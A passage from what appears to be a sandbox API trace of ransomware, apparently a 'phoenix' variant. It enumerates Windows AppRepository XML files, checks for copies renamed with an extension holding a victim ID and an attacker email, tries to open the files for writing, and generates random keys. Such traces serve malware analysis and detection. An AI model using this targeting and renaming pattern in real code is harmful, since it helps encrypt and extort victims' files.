	[0230.052] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=843) returned 1
	[0230.052] CloseHandle (hObject=0x2f4) returned 1
	[0230.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.oneconnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.oneconnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.052] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.oneconnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.052] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.052] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.oneconnect_2.1701.277.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.053] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=843) returned 1
	[0230.053] CloseHandle (hObject=0x2f4) returned 1
	[0230.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.oneconnect_2.1701.277.0_neutral_split.scale-125_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.oneconnect_2.1701.277.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.053] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.oneconnect_2.1701.277.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.053] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.053] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.oneconnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.053] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=26878) returned 1
	[0230.053] CloseHandle (hObject=0x2f4) returned 1
	[0230.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.oneconnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.oneconnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.054] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.OneConnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.oneconnect_2.1701.277.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.054] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.054] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.oneconnect_2.1701.277.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.054] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=4342) returned 1
	[0230.054] CloseHandle (hObject=0x2f4) returned 1
	[0230.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.oneconnect_2.1701.277.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.oneconnect_2.1701.277.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.054] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.oneconnect_2.1701.277.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.054] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.054] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.People_10.0.2840.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.people_10.0.2840.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.054] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=820) returned 1
	[0230.055] CloseHandle (hObject=0x2f4) returned 1
	[0230.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.People_10.0.2840.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.people_10.0.2840.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.People_10.0.2840.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.people_10.0.2840.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.055] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.People_10.0.2840.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.people_10.0.2840.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.055] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.055] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.people_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.055] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1034) returned 1
	[0230.055] CloseHandle (hObject=0x2f4) returned 1
	[0230.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.people_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.people_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.055] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.people_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.055] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.055] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.People_10.1.10531.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.people_10.1.10531.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.056] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1034) returned 1
	[0230.056] CloseHandle (hObject=0x2f4) returned 1
	[0230.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.People_10.1.10531.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.people_10.1.10531.0_neutral_split.scale-125_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.People_10.1.10531.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.people_10.1.10531.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.056] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.People_10.1.10531.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.people_10.1.10531.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.056] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.056] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.people_10.1.10531.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.056] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=11946) returned 1
	[0230.056] CloseHandle (hObject=0x2f4) returned 1
	[0230.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.people_10.1.10531.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.people_10.1.10531.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.056] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.people_10.1.10531.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.057] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.057] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.people_2015.1012.106.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.057] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16607) returned 1
	[0230.057] CloseHandle (hObject=0x2f4) returned 1
	[0230.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.people_2015.1012.106.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.people_2015.1012.106.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.057] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.people_2015.1012.106.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.057] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.057] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.people_2017.222.1920.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.057] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16676) returned 1
	[0230.057] CloseHandle (hObject=0x2f4) returned 1
	[0230.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.people_2017.222.1920.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0230.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.people_2017.222.1920.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.058] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.people_2017.222.1920.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.058] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.058] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.PPIProjection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.ppiprojection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.058] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3649) returned 1
	[0230.058] CloseHandle (hObject=0x2f4) returned 1
	[0230.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.PPIProjection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.ppiprojection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0230.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.PPIProjection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.ppiprojection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.062] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.PPIProjection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.ppiprojection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.062] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.062] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.services.store.engagement_10.0.1706.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.062] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=4695) returned 1
	[0230.063] CloseHandle (hObject=0x2f4) returned 1
	[0230.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.services.store.engagement_10.0.1706.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.services.store.engagement_10.0.1706.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.063] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.services.store.engagement_10.0.1706.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.063] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.063] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.services.store.engagement_10.0.1706.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.063] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=4723) returned 1
	[0230.063] CloseHandle (hObject=0x2f4) returned 1
	[0230.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.services.store.engagement_10.0.1706.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
	[0230.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.services.store.engagement_10.0.1706.0_x86__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0230.063] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.services.store.engagement_10.0.1706.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0230.064] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0230.064] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.SkypeApp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.skypeapp_11.8.204.0_neutral_split.scale-100_kzf8qxf38zg5c.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0230.064] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=952) returned 1
	[0230.064] CloseHandle (hObject=0x2f4) returned 1
